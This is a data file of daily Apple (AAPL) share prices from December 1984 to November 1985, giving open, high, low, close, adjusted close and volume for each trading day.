-1984-12-05,0.4665178656578064,0.4665178656578064,0.4665178656578064,0.4665178656578064,0.36964061856269836,65727200.0,AAPL
-1984-12-06,0.4888392984867096,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.38732683658599854,79318400.0,AAPL
-1984-12-07,0.4888392984867096,0.5066964030265808,0.484375,0.4866071343421936,0.385558158159256,123631200.0,AAPL
-1984-12-10,0.4866071343421936,0.4866071343421936,0.4776785671710968,0.4776785671710968,0.37848371267318726,27871200.0,AAPL
-1984-12-11,0.4776785671710968,0.484375,0.4709821343421936,0.4709821343421936,0.37317776679992676,30945600.0,AAPL
-1984-12-12,0.4709821343421936,0.4709821343421936,0.4553571343421936,0.4553571343421936,0.36079761385917664,27518400.0,AAPL
-1984-12-13,0.4598214328289032,0.46875,0.4598214328289032,0.4598214328289032,0.36433476209640503,16710400.0,AAPL
-1984-12-14,0.4598214328289032,0.4754464328289032,0.4598214328289032,0.4709821343421936,0.37317776679992676,24035200.0,AAPL
-1984-12-17,0.4821428656578064,0.4866071343421936,0.4821428656578064,0.4821428656578064,0.3820209205150604,31309600.0,AAPL
-1984-12-18,0.5111607313156128,0.5133928656578064,0.5111607313156128,0.5111607313156128,0.40501296520233154,85142400.0,AAPL
-1984-12-19,0.5111607313156128,0.5133928656578064,0.4910714328289032,0.4910714328289032,0.3890954852104187,79374400.0,AAPL
-1984-12-20,0.4910714328289032,0.5,0.4888392984867096,0.4888392984867096,0.38732683658599854,34960800.0,AAPL
-1984-12-21,0.4888392984867096,0.4910714328289032,0.4776785671710968,0.4821428656578064,0.3820209205150604,30973600.0,AAPL
-1984-12-24,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.3890954852104187,16884000.0,AAPL
-1984-12-26,0.4933035671710968,0.4977678656578064,0.4933035671710968,0.4933035671710968,0.39086395502090454,16794400.0,AAPL
-1984-12-27,0.4955357015132904,0.4977678656578064,0.4955357015132904,0.4955357015132904,0.3926325738430023,24690400.0,AAPL
-1984-12-28,0.4955357015132904,0.515625,0.4933035671710968,0.5133928656578064,0.40678155422210693,41333600.0,AAPL
-1984-12-31,0.5200892686843872,0.5223214030265808,0.5200892686843872,0.5200892686843872,0.4120873808860779,51940000.0,AAPL
-1985-01-02,0.5200892686843872,0.5200892686843872,0.4977678656578064,0.4977678656578064,0.3944011628627777,43825600.0,AAPL
-1985-01-03,0.5066964030265808,0.5200892686843872,0.5066964030265808,0.5066964030265808,0.401475727558136,41652800.0,AAPL
-1985-01-04,0.5066964030265808,0.5089285969734192,0.5,0.5066964030265808,0.401475727558136,34316800.0,AAPL
-1985-01-07,0.5066964030265808,0.5089285969734192,0.5044642686843872,0.5044642686843872,0.3997070789337158,42728000.0,AAPL
-1985-01-08,0.5044642686843872,0.5089285969734192,0.5,0.5,0.39616990089416504,35280000.0,AAPL
-1985-01-09,0.5133928656578064,0.5200892686843872,0.5133928656578064,0.5133928656578064,0.40678155422210693,41680800.0,AAPL
-1985-01-10,0.5357142686843872,0.5379464030265808,0.5357142686843872,0.5357142686843872,0.4244675934314728,69266400.0,AAPL
-1985-01-11,0.5357142686843872,0.5401785969734192,0.5267857313156128,0.53125,0.420930415391922,51262400.0,AAPL
-1985-01-14,0.546875,0.5513392686843872,0.546875,0.546875,0.4333106577396393,67608800.0,AAPL
-1985-01-15,0.546875,0.5558035969734192,0.5357142686843872,0.5357142686843872,0.4244675934314728,66242400.0,AAPL
-1985-01-16,0.5401785969734192,0.5491071343421936,0.5401785969734192,0.5401785969734192,0.42800483107566833,47471200.0,AAPL
-1985-01-17,0.5401785969734192,0.5491071343421936,0.5022321343421936,0.5022321343421936,0.39793848991394043,136880800.0,AAPL
-1985-01-18,0.5022321343421936,0.5223214030265808,0.5,0.5111607313156128,0.40501296520233154,88166400.0,AAPL
-1985-01-21,0.5223214030265808,0.5267857313156128,0.5223214030265808,0.5223214030265808,0.41385602951049805,81356800.0,AAPL
-1985-01-22,0.5379464030265808,0.5401785969734192,0.5379464030265808,0.5379464030265808,0.4262363910675049,106209600.0,AAPL
-1985-01-23,0.5379464030265808,0.5401785969734192,0.5290178656578064,0.5290178656578064,0.4191618859767914,107626400.0,AAPL
-1985-01-24,0.5290178656578064,0.5290178656578064,0.5178571343421936,0.5178571343421936,0.4103188216686249,99265600.0,AAPL
-1985-01-25,0.5178571343421936,0.5290178656578064,0.5066964030265808,0.5290178656578064,0.4191618859767914,79615200.0,AAPL
-1985-01-28,0.5401785969734192,0.546875,0.5401785969734192,0.5401785969734192,0.42800483107566833,103045600.0,AAPL
-1985-01-29,0.5401785969734192,0.5446428656578064,0.5334821343421936,0.5334821343421936,0.42269906401634216,55932800.0,AAPL
-1985-01-30,0.5334821343421936,0.5446428656578064,0.5334821343421936,0.5334821343421936,0.42269906401634216,123110400.0,AAPL
-1985-01-31,0.5334821343421936,0.5357142686843872,0.5178571343421936,0.5178571343421936,0.4103188216686249,69059200.0,AAPL
-1985-02-01,0.5178571343421936,0.5200892686843872,0.5066964030265808,0.5111607313156128,0.40501296520233154,34434400.0,AAPL
-1985-02-04,0.5223214030265808,0.5245535969734192,0.5223214030265808,0.5223214030265808,0.41385602951049805,54504800.0,AAPL
-1985-02-05,0.5267857313156128,0.5357142686843872,0.5267857313156128,0.5267857313156128,0.41739314794540405,47510400.0,AAPL
-1985-02-06,0.5357142686843872,0.5357142686843872,0.5357142686843872,0.5357142686843872,0.4244675934314728,48608000.0,AAPL
-1985-02-07,0.5357142686843872,0.5424107313156128,0.5334821343421936,0.5334821343421936,0.42269906401634216,61370400.0,AAPL
-1985-02-08,0.5334821343421936,0.5357142686843872,0.5267857313156128,0.5334821343421936,0.42269906401634216,33006400.0,AAPL
-1985-02-11,0.5446428656578064,0.5491071343421936,0.5446428656578064,0.5446428656578064,0.4315420687198639,86738400.0,AAPL
-1985-02-12,0.5446428656578064,0.546875,0.53125,0.53125,0.420930415391922,56627200.0,AAPL
-1985-02-13,0.53125,0.53125,0.5066964030265808,0.5066964030265808,0.401475727558136,131756800.0,AAPL
-1985-02-14,0.5066964030265808,0.5111607313156128,0.4933035671710968,0.4933035671710968,0.39086395502090454,106708000.0,AAPL
-1985-02-15,0.4933035671710968,0.5022321343421936,0.4888392984867096,0.5,0.39616990089416504,43405600.0,AAPL
-1985-02-19,0.4977678656578064,0.4977678656578064,0.4933035671710968,0.4933035671710968,0.39086395502090454,37458400.0,AAPL
-1985-02-20,0.4933035671710968,0.4955357015132904,0.4709821343421936,0.4709821343421936,0.37317776679992676,54992000.0,AAPL
-1985-02-21,0.4799107015132904,0.4821428656578064,0.4799107015132904,0.4799107015132904,0.38025227189064026,77056000.0,AAPL
-1985-02-22,0.4799107015132904,0.4977678656578064,0.4799107015132904,0.4933035671710968,0.39086395502090454,56632800.0,AAPL
-1985-02-25,0.4933035671710968,0.4955357015132904,0.4866071343421936,0.4866071343421936,0.385558158159256,24634400.0,AAPL
-1985-02-26,0.4866071343421936,0.4888392984867096,0.4776785671710968,0.4776785671710968,0.37848371267318726,47241600.0,AAPL
-1985-02-27,0.4776785671710968,0.4776785671710968,0.4486607015132904,0.4486607015132904,0.3554917573928833,100895200.0,AAPL
-1985-02-28,0.4486607015132904,0.4486607015132904,0.4419642984867096,0.4419642984867096,0.3501858413219452,79766400.0,AAPL
-1985-03-01,0.4419642984867096,0.4441964328289032,0.4285714328289032,0.4441964328289032,0.35195446014404297,61857600.0,AAPL
-1985-03-04,0.4508928656578064,0.4642857015132904,0.4508928656578064,0.4508928656578064,0.3572602868080139,38276000.0,AAPL
-1985-03-05,0.4620535671710968,0.4620535671710968,0.4620535671710968,0.4620535671710968,0.3661033511161804,32692800.0,AAPL
-1985-03-06,0.4620535671710968,0.4620535671710968,0.4397321343421936,0.4397321343421936,0.3484172224998474,48400800.0,AAPL
-1985-03-07,0.4397321343421936,0.4419642984867096,0.3950892984867096,0.3950892984867096,0.3130449652671814,183495200.0,AAPL
-1985-03-08,0.3950892984867096,0.3950892984867096,0.3705357015132904,0.3839285671710968,0.3042019009590149,118389600.0,AAPL
-1985-03-11,0.3973214328289032,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.31481367349624634,71500800.0,AAPL
-1985-03-12,0.4107142984867096,0.4151785671710968,0.4107142984867096,0.4107142984867096,0.3254252076148987,54857600.0,AAPL
-1985-03-13,0.4107142984867096,0.4107142984867096,0.3883928656578064,0.3883928656578064,0.3077392578125,62781600.0,AAPL
-1985-03-14,0.3883928656578064,0.390625,0.3883928656578064,0.3883928656578064,0.3077392578125,60401600.0,AAPL
-1985-03-15,0.3883928656578064,0.4129464328289032,0.3861607015132904,0.4040178656578064,0.32011938095092773,45354400.0,AAPL
-1985-03-18,0.4084821343421936,0.4129464328289032,0.4084821343421936,0.4084821343421936,0.3236565887928009,31192000.0,AAPL
-1985-03-19,0.4084821343421936,0.4129464328289032,0.3928571343421936,0.3928571343421936,0.31127646565437317,42862400.0,AAPL
-1985-03-20,0.3973214328289032,0.4040178656578064,0.3973214328289032,0.3973214328289032,0.31481367349624634,101242400.0,AAPL
-1985-03-21,0.4040178656578064,0.4107142984867096,0.4040178656578064,0.4040178656578064,0.32011938095092773,40616800.0,AAPL
-1985-03-22,0.4040178656578064,0.4107142984867096,0.3973214328289032,0.3973214328289032,0.31481367349624634,20092800.0,AAPL
-1985-03-25,0.3973214328289032,0.3973214328289032,0.3861607015132904,0.3861607015132904,0.3059704303741455,27490400.0,AAPL
-1985-03-26,0.4017857015132904,0.4017857015132904,0.4017857015132904,0.4017857015132904,0.3183508515357971,30357600.0,AAPL
-1985-03-27,0.4017857015132904,0.40625,0.390625,0.390625,0.30950769782066345,27837600.0,AAPL
-1985-03-28,0.390625,0.3973214328289032,0.390625,0.390625,0.30950769782066345,32401600.0,AAPL
-1985-03-29,0.390625,0.3973214328289032,0.390625,0.3950892984867096,0.3130449652671814,21795200.0,AAPL
-1985-04-01,0.3950892984867096,0.4040178656578064,0.3861607015132904,0.3861607015132904,0.3059704303741455,28515200.0,AAPL
-1985-04-02,0.3861607015132904,0.3883928656578064,0.375,0.375,0.29712745547294617,56856800.0,AAPL
-1985-04-03,0.375,0.3772321343421936,0.375,0.375,0.29712745547294617,60664800.0,AAPL
-1985-04-04,0.375,0.3772321343421936,0.3683035671710968,0.3727678656578064,0.2953588366508484,40465600.0,AAPL
-1985-04-08,0.3727678656578064,0.375,0.3504464328289032,0.3504464328289032,0.277672678232193,49683200.0,AAPL
-1985-04-09,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.277672678232193,65973600.0,AAPL
-1985-04-10,0.375,0.3794642984867096,0.375,0.375,0.29712745547294617,56728000.0,AAPL
-1985-04-11,0.3816964328289032,0.3928571343421936,0.3816964328289032,0.3816964328289032,0.3024332523345947,36668800.0,AAPL
-1985-04-12,0.3816964328289032,0.3816964328289032,0.3705357015132904,0.3727678656578064,0.2953588366508484,18132800.0,AAPL
-1985-04-15,0.3816964328289032,0.3861607015132904,0.3816964328289032,0.3816964328289032,0.3024332523345947,14957600.0,AAPL
-1985-04-16,0.3861607015132904,0.3883928656578064,0.3861607015132904,0.3861607015132904,0.3059704303741455,16912000.0,AAPL
-1985-04-17,0.4040178656578064,0.4084821343421936,0.4040178656578064,0.4040178656578064,0.32011938095092773,30811200.0,AAPL
-1985-04-18,0.4084821343421936,0.4107142984867096,0.4084821343421936,0.4084821343421936,0.3236565887928009,50607200.0,AAPL
-1985-04-19,0.4084821343421936,0.4084821343421936,0.3995535671710968,0.4017857015132904,0.3183508515357971,24007200.0,AAPL
-1985-04-22,0.4017857015132904,0.4017857015132904,0.3861607015132904,0.3861607015132904,0.3059704303741455,25648000.0,AAPL
-1985-04-23,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.3130449652671814,29573600.0,AAPL
-1985-04-24,0.3950892984867096,0.4017857015132904,0.3928571343421936,0.3928571343421936,0.31127646565437317,19734400.0,AAPL
-1985-04-25,0.3928571343421936,0.3950892984867096,0.3928571343421936,0.3928571343421936,0.31127646565437317,21907200.0,AAPL
-1985-04-26,0.3928571343421936,0.4040178656578064,0.390625,0.390625,0.30950769782066345,29926400.0,AAPL
-1985-04-29,0.390625,0.3928571343421936,0.3772321343421936,0.3772321343421936,0.29889604449272156,15551200.0,AAPL
-1985-04-30,0.3794642984867096,0.3816964328289032,0.3794642984867096,0.3794642984867096,0.30066463351249695,23682400.0,AAPL
-1985-05-01,0.3794642984867096,0.3816964328289032,0.3727678656578064,0.3727678656578064,0.2953588366508484,14336000.0,AAPL
-1985-05-02,0.3683035671710968,0.3683035671710968,0.34375,0.34375,0.2723669409751892,82443200.0,AAPL
-1985-05-03,0.34375,0.359375,0.34375,0.3571428656578064,0.2829784154891968,39530400.0,AAPL
-1985-05-06,0.3571428656578064,0.3616071343421936,0.3526785671710968,0.3526785671710968,0.2794412672519684,14033600.0,AAPL
-1985-05-07,0.3571428656578064,0.3571428656578064,0.3571428656578064,0.3571428656578064,0.2829784154891968,26902400.0,AAPL
-1985-05-08,0.3549107015132904,0.3549107015132904,0.3549107015132904,0.3549107015132904,0.2812098264694214,36097600.0,AAPL
-1985-05-09,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.2829784154891968,31768800.0,AAPL
-1985-05-10,0.3571428656578064,0.3660714328289032,0.3571428656578064,0.3616071343421936,0.28651583194732666,34020000.0,AAPL
-1985-05-13,0.3616071343421936,0.3638392984867096,0.3571428656578064,0.3571428656578064,0.2829784154891968,21806400.0,AAPL
-1985-05-14,0.3571428656578064,0.359375,0.3526785671710968,0.3526785671710968,0.2794412672519684,30436000.0,AAPL
-1985-05-15,0.3571428656578064,0.3638392984867096,0.3571428656578064,0.3571428656578064,0.2829784154891968,32608800.0,AAPL
-1985-05-16,0.3816964328289032,0.3928571343421936,0.3816964328289032,0.3816964328289032,0.3024332523345947,57635200.0,AAPL
-1985-05-17,0.3816964328289032,0.3950892984867096,0.3794642984867096,0.3883928656578064,0.3077392578125,52964800.0,AAPL
-1985-05-20,0.3883928656578064,0.3973214328289032,0.3816964328289032,0.3816964328289032,0.3024332523345947,49296800.0,AAPL
-1985-05-21,0.3794642984867096,0.3794642984867096,0.3705357015132904,0.3705357015132904,0.2935902178287506,38136000.0,AAPL
-1985-05-22,0.3705357015132904,0.3727678656578064,0.3683035671710968,0.3683035671710968,0.2918216288089752,30139200.0,AAPL
-1985-05-23,0.3660714328289032,0.3660714328289032,0.3526785671710968,0.3526785671710968,0.2794412672519684,59791200.0,AAPL
-1985-05-24,0.3526785671710968,0.3526785671710968,0.3236607015132904,0.3236607015132904,0.2564491927623749,147369600.0,AAPL
-1985-05-28,0.3191964328289032,0.3191964328289032,0.3013392984867096,0.3013392984867096,0.23876310884952545,127741600.0,AAPL
-1985-05-29,0.3058035671710968,0.3080357015132904,0.3058035671710968,0.3058035671710968,0.2423003911972046,61639200.0,AAPL
-1985-05-30,0.3147321343421936,0.3191964328289032,0.3147321343421936,0.3147321343421936,0.24937471747398376,78730400.0,AAPL
-1985-05-31,0.3147321343421936,0.3214285671710968,0.3102678656578064,0.3102678656578064,0.24583759903907776,92355200.0,AAPL
-1985-06-03,0.3035714328289032,0.3035714328289032,0.2857142984867096,0.2857142984867096,0.2263827919960022,144004000.0,AAPL
-1985-06-04,0.3080357015132904,0.3102678656578064,0.3080357015132904,0.3080357015132904,0.24406883120536804,100480800.0,AAPL
-1985-06-05,0.3080357015132904,0.3169642984867096,0.3013392984867096,0.3013392984867096,0.23876310884952545,71601600.0,AAPL
-1985-06-06,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.24053166806697845,67799200.0,AAPL
-1985-06-07,0.3035714328289032,0.3035714328289032,0.2924107015132904,0.2924107015132904,0.23168860375881195,118809600.0,AAPL
-1985-06-10,0.2924107015132904,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.2281513512134552,79032800.0,AAPL
-1985-06-11,0.2879464328289032,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.2281513512134552,75180000.0,AAPL
-1985-06-12,0.2879464328289032,0.2901785671710968,0.28125,0.28125,0.22284552454948425,61997600.0,AAPL
-1985-06-13,0.28125,0.2834821343421936,0.265625,0.265625,0.210465207695961,94880800.0,AAPL
-1985-06-14,0.265625,0.28125,0.2633928656578064,0.2633928656578064,0.20869657397270203,141416800.0,AAPL
-1985-06-17,0.265625,0.2678571343421936,0.265625,0.265625,0.210465207695961,59085600.0,AAPL
-1985-06-18,0.2723214328289032,0.2767857015132904,0.2723214328289032,0.2723214328289032,0.21577103435993195,66304000.0,AAPL
-1985-06-19,0.2790178656578064,0.2834821343421936,0.2790178656578064,0.2790178656578064,0.2210768610239029,42996800.0,AAPL
-1985-06-20,0.28125,0.28125,0.28125,0.28125,0.22284552454948425,47700800.0,AAPL
-1985-06-21,0.2879464328289032,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.2281513512134552,41535200.0,AAPL
-1985-06-24,0.3080357015132904,0.3125,0.3080357015132904,0.3080357015132904,0.24406883120536804,51441600.0,AAPL
-1985-06-25,0.3125,0.3191964328289032,0.3125,0.3125,0.24760623276233673,73477600.0,AAPL
-1985-06-26,0.3236607015132904,0.3236607015132904,0.3236607015132904,0.3236607015132904,0.2564491927623749,33051200.0,AAPL
-1985-06-27,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,48115200.0,AAPL
-1985-06-28,0.328125,0.3303571343421936,0.3214285671710968,0.3214285671710968,0.2546806037425995,33936000.0,AAPL
-1985-07-01,0.3236607015132904,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.2564491927623749,25860800.0,AAPL
-1985-07-02,0.3236607015132904,0.3258928656578064,0.3080357015132904,0.3080357015132904,0.24406883120536804,19432000.0,AAPL
-1985-07-03,0.3125,0.3125,0.3125,0.3125,0.24760623276233673,17124800.0,AAPL
-1985-07-05,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.24937471747398376,9144800.0,AAPL
-1985-07-08,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.24937471747398376,23055200.0,AAPL
-1985-07-09,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.24937471747398376,36976800.0,AAPL
-1985-07-10,0.3214285671710968,0.3214285671710968,0.3214285671710968,0.3214285671710968,0.2546806037425995,26510400.0,AAPL
-1985-07-11,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,16223200.0,AAPL
-1985-07-12,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,11760000.0,AAPL
-1985-07-15,0.3191964328289032,0.3258928656578064,0.3169642984867096,0.3169642984867096,0.2511433959007263,19420800.0,AAPL
-1985-07-16,0.3169642984867096,0.3191964328289032,0.3125,0.3125,0.24760623276233673,35840000.0,AAPL
-1985-07-17,0.3147321343421936,0.3191964328289032,0.3147321343421936,0.3147321343421936,0.24937471747398376,29545600.0,AAPL
-1985-07-18,0.3147321343421936,0.3147321343421936,0.3080357015132904,0.3080357015132904,0.24406883120536804,44766400.0,AAPL
-1985-07-19,0.3102678656578064,0.3102678656578064,0.3102678656578064,0.3102678656578064,0.24583759903907776,28728000.0,AAPL
-1985-07-22,0.3102678656578064,0.3102678656578064,0.3013392984867096,0.3013392984867096,0.23876310884952545,48076000.0,AAPL
-1985-07-23,0.3013392984867096,0.3058035671710968,0.2946428656578064,0.2946428656578064,0.2334572672843933,42173600.0,AAPL
-1985-07-24,0.2946428656578064,0.2991071343421936,0.2901785671710968,0.2901785671710968,0.2299199402332306,42179200.0,AAPL
-1985-07-25,0.296875,0.2991071343421936,0.296875,0.296875,0.23522581160068512,78769600.0,AAPL
-1985-07-26,0.296875,0.2991071343421936,0.296875,0.296875,0.23522581160068512,32631200.0,AAPL
-1985-07-29,0.296875,0.296875,0.2857142984867096,0.2857142984867096,0.2263827919960022,19437600.0,AAPL
-1985-07-30,0.2901785671710968,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2299199402332306,22366400.0,AAPL
-1985-07-31,0.2901785671710968,0.2924107015132904,0.2834821343421936,0.2834821343421936,0.22461414337158203,20126400.0,AAPL
-1985-08-01,0.2834821343421936,0.2879464328289032,0.2834821343421936,0.2834821343421936,0.22461414337158203,12891200.0,AAPL
-1985-08-02,0.2834821343421936,0.2834821343421936,0.28125,0.28125,0.22284552454948425,24354400.0,AAPL
-1985-08-05,0.28125,0.2834821343421936,0.2745535671710968,0.2745535671710968,0.2175396978855133,23083200.0,AAPL
-1985-08-06,0.2745535671710968,0.28125,0.2723214328289032,0.2723214328289032,0.21577103435993195,15769600.0,AAPL
-1985-08-07,0.2723214328289032,0.2857142984867096,0.265625,0.265625,0.210465207695961,37934400.0,AAPL
-1985-08-08,0.2700892984867096,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21400241553783417,36943200.0,AAPL
-1985-08-09,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.21577103435993195,15237600.0,AAPL
-1985-08-12,0.2723214328289032,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2122337967157364,13748000.0,AAPL
-1985-08-13,0.2723214328289032,0.2767857015132904,0.2723214328289032,0.2723214328289032,0.21577103435993195,10595200.0,AAPL
-1985-08-14,0.2723214328289032,0.2723214328289032,0.2611607015132904,0.2611607015132904,0.20692801475524902,72475200.0,AAPL
-1985-08-15,0.2611607015132904,0.2633928656578064,0.2589285671710968,0.2589285671710968,0.20515941083431244,26297600.0,AAPL
-1985-08-16,0.2611607015132904,0.265625,0.2611607015132904,0.2611607015132904,0.20692801475524902,20938400.0,AAPL
-1985-08-19,0.2678571343421936,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2122337967157364,11967200.0,AAPL
-1985-08-20,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.21577103435993195,16738400.0,AAPL
-1985-08-21,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.21577103435993195,19252800.0,AAPL
-1985-08-22,0.2723214328289032,0.2723214328289032,0.265625,0.265625,0.210465207695961,30828000.0,AAPL
-1985-08-23,0.265625,0.2678571343421936,0.2633928656578064,0.2633928656578064,0.20869657397270203,11004000.0,AAPL
-1985-08-26,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.21400241553783417,8915200.0,AAPL
-1985-08-27,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.21577103435993195,10729600.0,AAPL
-1985-08-28,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,10236800.0,AAPL
-1985-08-29,0.2723214328289032,0.2723214328289032,0.265625,0.265625,0.210465207695961,14028000.0,AAPL
-1985-08-30,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2122337967157364,10718400.0,AAPL
-1985-09-03,0.2678571343421936,0.2678571343421936,0.2633928656578064,0.2633928656578064,0.20869657397270203,9363200.0,AAPL
-1985-09-04,0.265625,0.2700892984867096,0.265625,0.265625,0.210465207695961,11888800.0,AAPL
-1985-09-05,0.265625,0.2678571343421936,0.265625,0.265625,0.210465207695961,8204000.0,AAPL
-1985-09-06,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2122337967157364,23200800.0,AAPL
-1985-09-09,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,33079200.0,AAPL
-1985-09-10,0.2745535671710968,0.2790178656578064,0.2745535671710968,0.2745535671710968,0.2175396978855133,30441600.0,AAPL
-1985-09-11,0.2767857015132904,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.2193082869052887,21772800.0,AAPL
-1985-09-12,0.2879464328289032,0.2879464328289032,0.2879464328289032,0.2879464328289032,0.2281513512134552,27792800.0,AAPL
-1985-09-13,0.2879464328289032,0.2879464328289032,0.28125,0.28125,0.22284552454948425,17634400.0,AAPL
-1985-09-16,0.28125,0.28125,0.2723214328289032,0.2723214328289032,0.21577103435993195,9245600.0,AAPL
-1985-09-17,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.21577103435993195,45936800.0,AAPL
-1985-09-18,0.2901785671710968,0.2901785671710968,0.2901785671710968,0.2901785671710968,0.2299199402332306,30021600.0,AAPL
-1985-09-19,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.24053166806697845,46580800.0,AAPL
-1985-09-20,0.3035714328289032,0.3058035671710968,0.2991071343421936,0.2991071343421936,0.2369944304227829,33807200.0,AAPL
-1985-09-23,0.3013392984867096,0.3058035671710968,0.3013392984867096,0.3013392984867096,0.23876310884952545,29646400.0,AAPL
-1985-09-24,0.3013392984867096,0.3080357015132904,0.2946428656578064,0.2946428656578064,0.2334572672843933,22024800.0,AAPL
-1985-09-25,0.2946428656578064,0.2946428656578064,0.2834821343421936,0.2834821343421936,0.22461414337158203,26124000.0,AAPL
-1985-09-26,0.2834821343421936,0.2857142984867096,0.2834821343421936,0.2834821343421936,0.22461414337158203,13372800.0,AAPL
-1985-09-30,0.2834821343421936,0.2857142984867096,0.28125,0.28125,0.22284552454948425,9161600.0,AAPL
-1985-10-01,0.28125,0.2834821343421936,0.28125,0.28125,0.22284552454948425,22086400.0,AAPL
-1985-10-02,0.28125,0.2834821343421936,0.2790178656578064,0.2790178656578064,0.2210768610239029,5376000.0,AAPL
-1985-10-03,0.2790178656578064,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.2193082869052887,12230400.0,AAPL
-1985-10-04,0.2767857015132904,0.2767857015132904,0.2678571343421936,0.2678571343421936,0.2122337967157364,17382400.0,AAPL
-1985-10-07,0.2678571343421936,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2122337967157364,22982400.0,AAPL
-1985-10-08,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.21400241553783417,21744800.0,AAPL
-1985-10-09,0.2700892984867096,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2122337967157364,20703200.0,AAPL
-1985-10-10,0.2834821343421936,0.2857142984867096,0.2834821343421936,0.2834821343421936,0.22461414337158203,65436000.0,AAPL
-1985-10-11,0.2857142984867096,0.2901785671710968,0.2857142984867096,0.2857142984867096,0.2263827919960022,29573600.0,AAPL
-1985-10-14,0.296875,0.296875,0.296875,0.296875,0.23522581160068512,38796800.0,AAPL
-1985-10-15,0.3035714328289032,0.3058035671710968,0.3035714328289032,0.3035714328289032,0.24053166806697845,73472000.0,AAPL
-1985-10-16,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,72111200.0,AAPL
-1985-10-17,0.3258928656578064,0.3415178656578064,0.3258928656578064,0.3258928656578064,0.25821784138679504,87046400.0,AAPL
-1985-10-18,0.3258928656578064,0.328125,0.3169642984867096,0.3169642984867096,0.2511433959007263,57607200.0,AAPL
-1985-10-21,0.3169642984867096,0.3169642984867096,0.3080357015132904,0.3080357015132904,0.24406883120536804,29719200.0,AAPL
-1985-10-22,0.3214285671710968,0.3258928656578064,0.3214285671710968,0.3214285671710968,0.2546806037425995,106136800.0,AAPL
-1985-10-23,0.3214285671710968,0.3303571343421936,0.3214285671710968,0.3214285671710968,0.2546806037425995,37094400.0,AAPL
-1985-10-24,0.328125,0.3370535671710968,0.328125,0.328125,0.2599865198135376,68157600.0,AAPL
-1985-10-25,0.328125,0.328125,0.3214285671710968,0.3214285671710968,0.2546806037425995,15820000.0,AAPL
-1985-10-28,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,14868000.0,AAPL
-1985-10-29,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,32720800.0,AAPL
-1985-10-30,0.3392857015132904,0.3392857015132904,0.3392857015132904,0.3392857015132904,0.2688296437263489,56644000.0,AAPL
-1985-10-31,0.3392857015132904,0.34375,0.3325892984867096,0.3325892984867096,0.26352381706237793,38768800.0,AAPL
-1985-11-01,0.3325892984867096,0.3392857015132904,0.3325892984867096,0.3325892984867096,0.26352381706237793,23139200.0,AAPL
-1985-11-04,0.3348214328289032,0.3415178656578064,0.3348214328289032,0.3348214328289032,0.26529231667518616,38931200.0,AAPL
-1985-11-05,0.3348214328289032,0.3415178656578064,0.3325892984867096,0.3325892984867096,0.26352381706237793,26885600.0,AAPL
-1985-11-06,0.34375,0.3459821343421936,0.34375,0.34375,0.2723669409751892,50114400.0,AAPL
-1985-11-07,0.3504464328289032,0.3549107015132904,0.3504464328289032,0.3504464328289032,0.277672678232193,79284800.0,AAPL
-1985-11-08,0.3660714328289032,0.3705357015132904,0.3660714328289032,0.3660714328289032,0.2900528609752655,73528000.0,AAPL
-1985-11-11,0.3660714328289032,0.3705357015132904,0.3571428656578064,0.3571428656578064,0.2829784154891968,44693600.0,AAPL
-1985-11-12,0.3571428656578064,0.3616071343421936,0.3549107015132904,0.3549107015132904,0.2812098264694214,43411200.0,AAPL
-1985-11-13,0.3549107015132904,0.3549107015132904,0.3459821343421936,0.3459821343421936,0.27413538098335266,25390400.0,AAPL
-1985-11-14,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.2829784154891968,34876800.0,AAPL
-1985-11-15,0.3571428656578064,0.3616071343421936,0.3549107015132904,0.3549107015132904,0.2812098264694214,20395200.0,AAPL
-1985-11-18,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2812098264694214,16139200.0,AAPL
-1985-11-19,0.3549107015132904,0.3571428656578064,0.34375,0.34375,0.2723669409751892,23581600.0,AAPL
-1985-11-20,0.34375,0.3459821343421936,0.3392857015132904,0.3392857015132904,0.2688296437263489,24768800.0,AAPL
